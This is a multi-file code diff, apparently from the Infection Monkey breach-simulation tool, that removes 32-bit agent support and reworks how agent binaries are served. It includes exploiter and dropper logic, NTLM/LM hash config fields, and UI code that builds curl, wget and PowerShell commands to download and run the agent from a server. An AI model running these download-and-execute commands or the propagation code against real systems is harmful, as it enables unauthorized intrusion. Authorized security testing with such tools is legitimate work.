if resp is False:
return resp
else:
return {"response": resp, "path": paths["dest_path"]}
return {"response": resp, "path": dropper_target_path}
def change_permissions(self, url, path, command=None):
"""
@ -336,10 +335,10 @@ class WebRCE(HostExploiter):
command = CHMOD_MONKEY % {"monkey_path": path}
try:
resp = self.exploit(url, command)
self.telemetry_messenger.send_telemtry(T1222Telem(ScanStatus.USED, command, self.host))
self.telemetry_messenger.send_telemetry(T1222Telem(ScanStatus.USED, command, self.host))
except Exception as e:
logger.error("Something went wrong while trying to change permission: %s" % e)
self.telemetry_messenger.send_telemtry(T1222Telem(ScanStatus.SCANNED, "", self.host))
self.telemetry_messenger.send_telemetry(T1222Telem(ScanStatus.SCANNED, "", self.host))
return False
# If exploiter returns True / False
if isinstance(resp, bool):
@ -412,7 +411,7 @@ class WebRCE(HostExploiter):
"""
Gets destination path from one of WEB_RCE predetermined paths(self.monkey_target_paths).
:param url_to_monkey: Hosted monkey's url. egz :
http://localserver:9999/monkey/windows-32.exe
http://localserver:9999/monkey/windows-64.exe
:return: Corresponding monkey path from self.monkey_target_paths
"""
if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey):
@ -423,9 +422,7 @@ class WebRCE(HostExploiter):
try:
if "linux" in url_to_monkey:
return self.monkey_target_paths["linux"]
elif "windows-32" in url_to_monkey:
return self.monkey_target_paths["win32"]
elif "windows-64" in url_to_monkey:
elif "windows" in url_to_monkey:
return self.monkey_target_paths["win64"]
else:
logger.error(
@ -435,9 +432,8 @@ class WebRCE(HostExploiter):
return False
except KeyError:
logger.error(
'Unknown key was found. Please use "linux", "win32" and "win64" keys to '
"initialize "
"custom dict of monkey's destination paths"
'Unknown key was found. Please use "linux" and "win64" keys to '
"initialize custom dict of monkey's destination paths"
)
return False
@ -470,13 +466,7 @@ class WebRCE(HostExploiter):
if self.host.os["type"] == "linux":
return self.options["dropper_target_path_linux"]
if self.host.os["type"] == "windows":
try:
# remove now or when 32-bit binaries are removed?
if self.host.os["machine"] == WIN_ARCH_64:
return self.options["dropper_target_path_win_64"]
except KeyError:
logger.debug("Target's machine type was not set. Using win-32 dropper path.")
return self.options["dropper_target_path_win_32"]
return self.options["dropper_target_path_win_64"]
def get_target_url(self):
"""

View File

@ -8,7 +8,6 @@ class VictimHost(object):
self.os = {}
self.services = {}
self.icmp = False
self.monkey_exe = None
self.default_tunnel = None
self.default_server = None
@ -42,7 +41,6 @@ class VictimHost(object):
for k, v in list(self.services.items()):
victim += "%s-%s " % (k, v)
victim += "] ICMP: %s " % (self.icmp)
victim += "target monkey: %s" % self.monkey_exe
return victim
def set_island_address(self, ip: str, port: Optional[str]):

View File

@ -16,7 +16,7 @@ from infection_monkey.credential_collectors import (
MimikatzCredentialCollector,
SSHCredentialCollector,
)
from infection_monkey.exploit import ExploiterWrapper
from infection_monkey.exploit import CachingAgentRepository, ExploiterWrapper
from infection_monkey.exploit.hadoop import HadoopExploiter
from infection_monkey.exploit.sshexec import SSHExploiter
from infection_monkey.i_puppet import IPuppet, PluginType
@ -46,7 +46,6 @@ from infection_monkey.utils.environment import is_windows_os
from infection_monkey.utils.monkey_dir import get_monkey_dir_path, remove_monkey_dir
from infection_monkey.utils.monkey_log_path import get_monkey_log_path
from infection_monkey.utils.signal_handler import register_signal_handlers, reset_signal_handlers
from infection_monkey.windows_upgrader import WindowsUpgrader
logger = logging.getLogger(__name__)
@ -101,11 +100,6 @@ class InfectionMonkey:
logger.info("The Monkey Island has instructed this agent to stop")
return
if InfectionMonkey._is_upgrade_to_64_needed():
self._upgrade_to_64()
logger.info("32 bit Agent can't run on 64 bit system.")
return
self._setup()
self._master.start()
@ -147,16 +141,6 @@ class InfectionMonkey:
return False
@staticmethod
def _is_upgrade_to_64_needed():
return WindowsUpgrader.should_upgrade()
def _upgrade_to_64(self):
self._singleton.unlock()
logger.info("32bit monkey running on 64bit Windows. Upgrading.")
WindowsUpgrader.upgrade(self._opts)
logger.info("Finished upgrading from 32bit to 64bit.")
def _setup(self):
logger.debug("Starting the setup phase.")
@ -216,7 +200,10 @@ class InfectionMonkey:
puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER)
puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER)
exploit_wrapper = ExploiterWrapper(self.telemetry_messenger)
agent_repoitory = CachingAgentRepository(
f"https://{self._default_server}", ControlClient.proxies
)
exploit_wrapper = ExploiterWrapper(self.telemetry_messenger, agent_repoitory)
puppet.load_plugin(
"SSHExploiter",
@ -252,10 +239,6 @@ class InfectionMonkey:
logger.info("Monkey cleanup started")
self._wait_for_exploited_machine_connection()
try:
if self._is_upgrade_to_64_needed():
logger.debug("Cleanup not needed for 32 bit agent on 64 bit system(it didn't run)")
return
if self._master:
self._master.cleanup()

View File

@ -43,10 +43,6 @@ def is_windows():
return platform.system().find("Windows") >= 0
def is_32_bit():
return sys.maxsize <= 2 ** 32
def get_bin_folder():
return os.path.join('.', 'bin')
@ -73,15 +69,10 @@ def get_hidden_imports():
def get_monkey_filename():
name = 'monkey-'
if is_windows():
name = name + "windows-"
name = name + "windows-64.exe"
else:
name = name + "linux-"
if is_32_bit():
name = name + "32"
else:
name = name + "64"
if is_windows():
name = name + ".exe"
name = name + "linux-64"
return name

View File

@ -1,58 +0,0 @@
import os
from io import BytesIO
MONKEYFS_PREFIX = "monkeyfs://"
open_orig = open
class VirtualFile(BytesIO):
_vfs = {} # virtual File-System
def __init__(self, name, mode="r", buffering=None):
if not name.startswith(MONKEYFS_PREFIX):
name = MONKEYFS_PREFIX + name
self.name = name
if name in VirtualFile._vfs:
super(VirtualFile, self).__init__(self._vfs[name])
else:
super(VirtualFile, self).__init__()
def flush(self):
super(VirtualFile, self).flush()
VirtualFile._vfs[self.name] = self.getvalue()
@staticmethod
def getsize(path):
return len(VirtualFile._vfs[path])
@staticmethod
def isfile(path):
return path in VirtualFile._vfs
def getsize(path):
if path.startswith(MONKEYFS_PREFIX):
return VirtualFile.getsize(path)
else:
return os.stat(path).st_size
def isfile(path):
if path.startswith(MONKEYFS_PREFIX):
return VirtualFile.isfile(path)
else:
return os.path.isfile(path)
def virtual_path(name):
return "%s%s" % (MONKEYFS_PREFIX, name)
# noinspection PyShadowingBuiltins
def open(name, mode="r", buffering=-1):
# use normal open for regular paths, and our "virtual" open for monkeyfs:// paths
if name.startswith(MONKEYFS_PREFIX):
return VirtualFile(name, mode, buffering)
else:
return open_orig(name, mode=mode, buffering=buffering)

View File

@ -26,7 +26,8 @@ The monkey is a PyInstaller compressed python archives.
1. To build the final exe:
- `cd monkey\infection_monkey`
- `build_windows.bat`
- output is placed under `dist\monkey32.exe` or `dist\monkey64.exe` depending on your version of Python
Output is placed under `dist\monkey64.exe`.
## Linux
@ -51,7 +52,7 @@ Tested on Ubuntu 16.04.
- `chmod +x build_linux.sh`
- `pipenv run ./build_linux.sh`
output is placed under `dist/monkey32` or `dist/monkey64` depending on your version of python
Output is placed under `dist/monkey64`.
### Troubleshooting

View File

@ -1,2 +1 @@
from infection_monkey.transport.http import HTTPServer
from infection_monkey.transport.http import LockedHTTPServer

View File

@ -1,5 +1,4 @@
import http.server
import os.path
import select
import socket
import threading
@ -7,7 +6,6 @@ import urllib
from logging import getLogger
from urllib.parse import urlsplit
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.network.tools import get_interface_to_target
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
@ -16,7 +14,8 @@ logger = getLogger(__name__)
class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
filename = ""
victim_os = ""
agent_repository = None
def version_string(self):
return "Microsoft-IIS/7.5."
@ -46,7 +45,7 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
total += chunk
start_range += chunk
if f.tell() == monkeyfs.getsize(self.filename):
if f.tell() == len(f.getbuffer()):
if self.report_download(self.client_address):
self.close_connection = 1
@ -59,15 +58,15 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
f.close()
def send_head(self):
if self.path != "/" + urllib.parse.quote(os.path.basename(self.filename)):
if self.path != "/" + urllib.parse.quote(self.victim_os):
self.send_error(500, "")
return None, 0, 0
try:
f = monkeyfs.open(self.filename, "rb")
f = self.agent_repository.get_agent_binary(self.victim_os)
except IOError:
self.send_error(404, "File not found")
return None, 0, 0
size = monkeyfs.getsize(self.filename)
size = len(f.getbuffer())
start_range = 0
end_range = size
@ -157,50 +156,6 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
)
class HTTPServer(threading.Thread):
def __init__(self, local_ip, local_port, filename, max_downloads=1):
self._local_ip = local_ip
self._local_port = local_port
self._filename = filename
self.max_downloads = max_downloads
self.downloads = 0
self._stopped = False
threading.Thread.__init__(self)
def run(self):
class TempHandler(FileServHTTPRequestHandler):
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
filename = self._filename
@staticmethod
def report_download(dest=None):
logger.info("File downloaded from (%s,%s)" % (dest[0], dest[1]))
TempHandler.T1105Telem(
TempHandler.ScanStatus.USED,
get_interface_to_target(dest[0]),
dest[0],
self._filename,
).send()
self.downloads += 1
if not self.downloads < self.max_downloads:
return True
return False
httpd = http.server.HTTPServer((self._local_ip, self._local_port), TempHandler)
httpd.timeout = 0.5 # this is irrelevant?
while not self._stopped and self.downloads < self.max_downloads:
httpd.handle_request()
self._stopped = True
def stop(self, timeout=60):
self._stopped = True
self.join(timeout)
class LockedHTTPServer(threading.Thread):
"""
Same as HTTPServer used for file downloads just with locks to avoid racing conditions.
@ -213,10 +168,21 @@ class LockedHTTPServer(threading.Thread):
# Seconds to wait until server stops
STOP_TIMEOUT = 5
def __init__(self, local_ip, local_port, filename, lock, max_downloads=1):
def __init__(
self,
local_ip,
local_port,
victim_os,
dropper_target_path,
agent_repository,
lock,
max_downloads=1,
):
self._local_ip = local_ip
self._local_port = local_port
self._filename = filename
self._victim_os = victim_os
self._dropper_target_path = dropper_target_path
self._agent_repository = agent_repository
self.max_downloads = max_downloads
self.downloads = 0
self._stopped = False
@ -229,7 +195,8 @@ class LockedHTTPServer(threading.Thread):
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
filename = self._filename
victim_os = self._victim_os
agent_repository = self._agent_repository
@staticmethod
def report_download(dest=None):
@ -238,7 +205,7 @@ class LockedHTTPServer(threading.Thread):
TempHandler.ScanStatus.USED,
get_interface_to_target(dest[0]),
dest[0],
self._filename,
self._dropper_target_path,
).send()
self.downloads += 1
if not self.downloads < self.max_downloads:

View File

@ -1,18 +1,5 @@
import os
import struct
import sys
def is_64bit_windows_os():
"""
Checks for 64 bit Windows OS using environment variables.
"""
return "PROGRAMFILES(X86)" in os.environ
def is_64bit_python():
return struct.calcsize("P") == 8
def is_windows_os():
return sys.platform.startswith("win")

View File

@ -1,69 +0,0 @@
import logging
import shutil
import subprocess
import sys
import time
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.config import WormConfiguration
from infection_monkey.control import ControlClient
from infection_monkey.utils.commands import (
build_monkey_commandline_explicitly,
get_monkey_commandline_windows,
)
from infection_monkey.utils.environment import is_64bit_python, is_64bit_windows_os, is_windows_os
logger = logging.getLogger(__name__)
if "win32" == sys.platform:
from win32process import DETACHED_PROCESS
else:
DETACHED_PROCESS = 0
class WindowsUpgrader(object):
__UPGRADE_WAIT_TIME__ = 3
@staticmethod
def should_upgrade():
return is_windows_os() and is_64bit_windows_os() and not is_64bit_python()
@staticmethod
def upgrade(opts):
try:
monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False)
with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file:
with open(
WormConfiguration.dropper_target_path_win_64, "wb"
) as written_monkey_file:
shutil.copyfileobj(downloaded_monkey_file, written_monkey_file)
except (IOError, AttributeError) as e:
logger.error("Failed to download the Monkey to the target path: %s." % e)
return
monkey_options = build_monkey_commandline_explicitly(
opts.parent, opts.tunnel, opts.server, opts.depth
)
monkey_cmdline = get_monkey_commandline_windows(
WormConfiguration.dropper_target_path_win_64, monkey_options
)
monkey_process = subprocess.Popen(
monkey_cmdline,
stdin=None,
stdout=None,
stderr=None,
close_fds=True,
creationflags=DETACHED_PROCESS,
)
logger.info(
"Executed 64bit monkey process (PID=%d) with command line: %s",
monkey_process.pid,
" ".join(monkey_cmdline),
)
time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__)
if monkey_process.poll() is not None:
logger.error("Seems like monkey died too soon")

View File

@ -134,8 +134,7 @@ def init_api_resources(api):
api.add_resource(ConfigurationImport, "/api/configuration/import")
api.add_resource(
MonkeyDownload,
"/api/monkey/download",
"/api/monkey/download/<string:path>",
"/api/monkey/download/<string:host_os>",
)
api.add_resource(NetMap, "/api/netmap")
api.add_resource(Edge, "/api/netmap/edge")

View File

@ -1,101 +1,34 @@
import hashlib
import json
import logging
import os
from pathlib import Path
import flask_restful
from flask import request, send_from_directory
from flask import make_response, send_from_directory
from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH
logger = logging.getLogger(__name__)
MONKEY_DOWNLOADS = [
{
"type": "linux",
"machine": "x86_64",
"filename": "monkey-linux-64",
},
{
"type": "linux",
"machine": "i686",
"filename": "monkey-linux-32",
},
{
"type": "linux",
"machine": "i386",
"filename": "monkey-linux-32",
},
{
"type": "linux",
"filename": "monkey-linux-64",
},
{
"type": "windows",
"machine": "x86",
"filename": "monkey-windows-32.exe",
},
{
"type": "windows",
"machine": "amd64",
"filename": "monkey-windows-64.exe",
},
{
"type": "windows",
"machine": "64",
"filename": "monkey-windows-64.exe",
},
{
"type": "windows",
"machine": "32",
"filename": "monkey-windows-32.exe",
},
{
"type": "windows",
"filename": "monkey-windows-32.exe",
},
]
AGENTS = {
"linux": "monkey-linux-64",
"windows": "monkey-windows-64.exe",
}
def get_monkey_executable(host_os, machine):
for download in MONKEY_DOWNLOADS:
if host_os == download.get("type") and machine == download.get("machine"):
logger.info("Monkey exec found for os: {0} and machine: {1}".format(host_os, machine))
return download
logger.warning(
"No monkey executables could be found for the host os or machine or both: host_os: {"
"0}, machine: {1}".format(host_os, machine)
)
return None
class UnsupportedOSError(Exception):
pass
class MonkeyDownload(flask_restful.Resource):
# Used by monkey. can't secure.
def get(self, path):
return send_from_directory(os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries"), path)
# Used by monkey. can't secure.
def post(self):
host_json = json.loads(request.data)
host_os = host_json.get("os")
if host_os:
result = get_monkey_executable(host_os.get("type"), host_os.get("machine"))
if result:
# change resulting from new base path
executable_filename = result["filename"]
real_path = MonkeyDownload.get_executable_full_path(executable_filename)
if os.path.isfile(real_path):
result["size"] = os.path.getsize(real_path)
return result
return {}
@staticmethod
def get_executable_full_path(executable_filename):
real_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", executable_filename)
return real_path
def get(self, host_os):
try:
path = get_agent_executable_path(host_os)
return send_from_directory(path.parent, path.name)
except UnsupportedOSError as ex:
logger.error(ex)
return make_response({"error": str(ex)}, 404)
@staticmethod
def log_executable_hashes():
@ -103,16 +36,30 @@ class MonkeyDownload(flask_restful.Resource):
Logs all the hashes of the monkey executables for debugging ease (can check what Monkey
version you have etc.).
"""
filenames = set([x["filename"] for x in MONKEY_DOWNLOADS])
filenames = set(AGENTS.values())
for filename in filenames:
filepath = MonkeyDownload.get_executable_full_path(filename)
if os.path.isfile(filepath):
filepath = get_executable_full_path(filename)
if filepath.is_file():
with open(filepath, "rb") as monkey_exec_file:
file_contents = monkey_exec_file.read()
logger.debug(
"{} hashes:\nSHA-256 {}".format(
filename, hashlib.sha256(file_contents).hexdigest()
)
)
file_sha256_hash = hashlib.sha256(file_contents).hexdigest()
logger.debug(f"{filename} SHA-256 hash: {file_sha256_hash}")
else:
logger.debug("No monkey executable for {}.".format(filepath))
logger.debug(f"No monkey executable for {filepath}")
def get_agent_executable_path(host_os: str) -> Path:
try:
agent_path = get_executable_full_path(AGENTS[host_os])
logger.debug(f"Monkey exec found for os: {host_os}, {agent_path}")
return agent_path
except KeyError:
logger.warning(f"No monkey executables could be found for the host os: {host_os}")
raise UnsupportedOSError(
f'No Agents are available for unsupported operating system "{host_os}"'
)
def get_executable_full_path(executable_filename: str) -> Path:
return Path(MONKEY_ISLAND_ABS_PATH) / "cc" / "binaries" / executable_filename

View File

@ -606,7 +606,6 @@ class ConfigService:
for dropper_target in [
"dropper_target_path_linux",
"dropper_target_path_win_32",
"dropper_target_path_win_64",
]:
exploit_options[dropper_target] = config.get(dropper_target, "")

View File

@ -174,14 +174,6 @@ INTERNAL = {
"description": "Determines where should the dropper place the monkey on a "
"Linux machine",
},
"dropper_target_path_win_32": {
"title": "Dropper target path on Windows (32bit)",
"type": "string",
"default": "C:\\Windows\\temp\\monkey32.exe",
"description": "Determines where should the dropper place the monkey on a "
"Windows machine "
"(32bit)",
},
"dropper_target_path_win_64": {
"title": "Dropper target path on Windows (64bit)",
"type": "string",

View File

@ -5,8 +5,8 @@ import stat
import subprocess
from shutil import copyfile
from monkey_island.cc.resources.monkey_download import get_monkey_executable
from monkey_island.cc.server_utils.consts import ISLAND_PORT, MONKEY_ISLAND_ABS_PATH
from monkey_island.cc.resources.monkey_download import get_agent_executable_path
from monkey_island.cc.server_utils.consts import ISLAND_PORT
from monkey_island.cc.services.utils.network_utils import local_ip_addresses
logger = logging.getLogger(__name__)
@ -25,12 +25,13 @@ class LocalMonkeyRunService:
@staticmethod
def run_local_monkey():
# get the monkey executable suitable to run on the server
result = get_monkey_executable(platform.system().lower(), platform.machine().lower())
if not result:
return False, "OS Type not found"
try:
src_path = get_agent_executable_path(platform.system().lower())
except Exception as ex:
logger.error(f"Error running agent from island: {ex}")
return False, str(ex)
src_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", result["filename"])
dest_path = os.path.join(LocalMonkeyRunService.DATA_DIR, result["filename"])
dest_path = LocalMonkeyRunService.DATA_DIR / src_path.name
# copy the executable to temp path (don't run the monkey from its current location as it may
# delete itself)

View File

@ -20,9 +20,7 @@ const getContents = (props) => {
const osTypes = {
[OS_TYPES.WINDOWS_64]: 'Windows 64bit',
[OS_TYPES.WINDOWS_32]: 'Windows 32bit',
[OS_TYPES.LINUX_64]: 'Linux 64bit',
[OS_TYPES.LINUX_32]: 'Linux 32bit'
[OS_TYPES.LINUX_64]: 'Linux 64bit'
}
const [osType, setOsType] = useState(OS_TYPES.WINDOWS_64);
@ -48,11 +46,11 @@ const getContents = (props) => {
}
function generateCommands() {
if (osType === OS_TYPES.WINDOWS_64 || osType === OS_TYPES.WINDOWS_32) {
return [{type: 'Powershell', command: GenerateLocalWindowsPowershell(selectedIp, osType, customUsername)}]
if (osType === OS_TYPES.WINDOWS_64) {
return [{type: 'Powershell', command: GenerateLocalWindowsPowershell(selectedIp, customUsername)}]
} else {
return [{type: 'CURL', command: GenerateLocalLinuxCurl(selectedIp, osType, customUsername)},
{type: 'WGET', command: GenerateLocalLinuxWget(selectedIp, osType, customUsername)}]
return [{type: 'CURL', command: GenerateLocalLinuxCurl(selectedIp, customUsername)},
{type: 'WGET', command: GenerateLocalLinuxWget(selectedIp, customUsername)}]
}
}

View File

@ -5,7 +5,7 @@ import AuthComponent from '../../AuthComponent';
import {faLaptopCode} from '@fortawesome/free-solid-svg-icons/faLaptopCode';
import InlineSelection from '../../ui-components/inline-selection/InlineSelection';
import {cloneDeep} from 'lodash';
import {faCloud, faExpandArrowsAlt} from '@fortawesome/free-solid-svg-icons';
import {faExpandArrowsAlt} from '@fortawesome/free-solid-svg-icons';
import RunOnIslandButton from './RunOnIslandButton';
import AWSRunButton from './RunOnAWS/AWSRunButton';

View File

@ -1,12 +1,8 @@
import {OS_TYPES} from '../utils/OsTypes';
export default function generateLocalLinuxCurl(ip, osType, username) {
let bitText = osType === OS_TYPES.LINUX_32 ? '32' : '64';
let command = `curl https://${ip}:5000/api/monkey/download/monkey-linux-${bitText} -k `
+ `-o monkey-linux-${bitText}; `
+ `chmod +x monkey-linux-${bitText}; `
+ `./monkey-linux-${bitText} m0nk3y -s ${ip}:5000;`;
export default function generateLocalLinuxCurl(ip, username) {
let command = `curl https://${ip}:5000/api/monkey/download/monkey-linux-64 -k `
+ `-o monkey-linux-64; `
+ `chmod +x monkey-linux-64; `
+ `./monkey-linux-64 m0nk3y -s ${ip}:5000;`;
if (username != '') {
command = `su - ${username} -c "${command}"`;

View File

@ -1,12 +1,8 @@
import {OS_TYPES} from '../utils/OsTypes';
export default function generateLocalLinuxWget(ip, osType, username) {
let bitText = osType === OS_TYPES.LINUX_32 ? '32' : '64';
export default function generateLocalLinuxWget(ip, username) {
let command = `wget --no-check-certificate https://${ip}:5000/api/monkey/download/`
+ `monkey-linux-${bitText}; `
+ `chmod +x monkey-linux-${bitText}; `
+ `./monkey-linux-${bitText} m0nk3y -s ${ip}:5000`;
+ `monkey-linux-64; `
+ `chmod +x monkey-linux-64; `
+ `./monkey-linux-64 m0nk3y -s ${ip}:5000`;
if (username != '') {
command = `su - ${username} -c "${command}"`;

View File

@ -1,18 +1,14 @@
import {OS_TYPES} from '../utils/OsTypes';
function getAgentDownloadCommand(ip, osType) {
let bitText = osType === OS_TYPES.WINDOWS_32 ? '32' : '64';
function getAgentDownloadCommand(ip) {
return `$execCmd = @"\r\n`
+ `[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {\`$true};`
+ `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/monkey-windows-${bitText}.exe',`
+ `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/monkey-windows-64.exe',`
+ `"""$env:TEMP\\monkey.exe""");Start-Process -FilePath '$env:TEMP\\monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';`
+ `\r\n"@; \r\n`
+ `Start-Process -FilePath powershell.exe -ArgumentList $execCmd`;
}
export default function generateLocalWindowsPowershell(ip, osType, username) {
let command = getAgentDownloadCommand(ip, osType)
export default function generateLocalWindowsPowershell(ip, username) {
let command = getAgentDownloadCommand(ip)
if (username !== '') {
command += ` -Credential ${username}`;
}

View File

@ -1,6 +1,4 @@
export const OS_TYPES = {
WINDOWS_32: 'win32',
WINDOWS_64: 'win64',
LINUX_32: 'linux32',
LINUX_64: 'linux64'
}

View File

@ -46,7 +46,7 @@ function aggregateMultipleResultsPba(results) {
}
function modifyProcessListCollectionResult(result) {
result[0] = "Found " + Object.keys(result[0]).length.toString() + " running processes";
result[0] = 'Found ' + Object.keys(result[0]).length.toString() + ' running processes';
}
// check for pbas with multiple results and aggregate their results

View File

@ -45,8 +45,6 @@
1. Put Infection Monkey binaries inside monkey_island/cc/binaries (binaries can be found in releases on github or build from source)
monkey-linux-64 - monkey binary for linux 64bit
monkey-linux-32 - monkey binary for linux 32bit
monkey-windows-32.exe - monkey binary for windows 32bit
monkey-windows-64.exe - monkey binary for windows 64bit
1. Install npm
@ -95,15 +93,10 @@
monkey-linux-64 - monkey binary for linux 64bit
monkey-linux-32 - monkey binary for linux 32bit
monkey-windows-32.exe - monkey binary for windows 32bit
monkey-windows-64.exe - monkey binary for windows 64bit
Also, if you're going to run monkeys on local machine execute:
- `chmod 755 ./monkey_island/cc/binaries/monkey-linux-64`
- `chmod 755 ./monkey_island/cc/binaries/monkey-linux-32`
1. Setup MongoDB (Use one of the two following options):
- Download MongoDB and extract it to monkey/monkey_island/bin/mongodb:

View File

@ -27,7 +27,6 @@
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
"dropper_set_date": true,
"dropper_target_path_linux": "/tmp/monkey",
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
"exploit_lm_hash_list": ["lm_hash_1", "lm_hash_2"],
"exploit_ntlm_hash_list": ["nt_hash_1", "nt_hash_2", "nt_hash_3"],

View File

@ -104,7 +104,6 @@
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
"dropper_date_reference_path_linux": "/bin/sh",
"dropper_target_path_linux": "/tmp/monkey",
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe"
},
"logging": {

View File

@ -26,7 +26,6 @@ Config = namedtuple(
"exploit_password_list",
"exploit_lm_hash_list",
"exploit_ntlm_hash_list",
"dropper_target_path_win_32",
"dropper_target_path_win_64",
],
)
@ -52,7 +51,8 @@ def powershell_exploiter(monkeypatch):
monkeypatch.setattr(powershell, "AuthenticationError", AuthenticationErrorForTests)
monkeypatch.setattr(powershell, "is_windows_os", lambda: True)
# It's regrettable to mock out a private method on the PowerShellExploiter instance object, but
# it's necessary to avoid having to deal with the monkeyfs
# it's necessary to avoid having to deal with the monkeyfs. TODO: monkeyfs has been removed, so
# fix this.
monkeypatch.setattr(pe, "_write_virtual_file_to_local_path", lambda: None)
return pe

View File

@ -16,7 +16,6 @@ HOST_AS_DICT = {
"os": {},
"services": {},
"icmp": False,
"monkey_exe": None,
"default_tunnel": None,
"default_server": None,
}
@ -37,7 +36,13 @@ ERROR_MSG = "failed because yolo"
@pytest.fixture
def exploit_telem_test_instance():
return ExploitTelem(EXPLOITER_NAME, HOST, ExploiterResultData(RESULT, RESULT, OS_LINUX, EXPLOITER_INFO, EXPLOITER_ATTEMPTS, ERROR_MSG))
return ExploitTelem(
EXPLOITER_NAME,
HOST,
ExploiterResultData(
RESULT, RESULT, OS_LINUX, EXPLOITER_INFO, EXPLOITER_ATTEMPTS, ERROR_MSG
),
)
def test_exploit_telem_send(exploit_telem_test_instance, spy_send_telemetry):

View File

@ -14,7 +14,6 @@ HOST_AS_DICT = {
"os": {},
"services": {},
"icmp": False,
"monkey_exe": None,
"default_tunnel": None,
"default_server": None,
}

View File

@ -173,7 +173,6 @@ def test_format_config_for_agent__exploiters(flat_monkey_config):
expected_exploiters_config = {
"options": {
"dropper_target_path_linux": "/tmp/monkey",
"dropper_target_path_win_32": r"C:\Windows\temp\monkey32.exe",
"dropper_target_path_win_64": r"C:\Windows\temp\monkey64.exe",
"http_ports": [80, 443, 7001, 8008, 8080, 9200],
},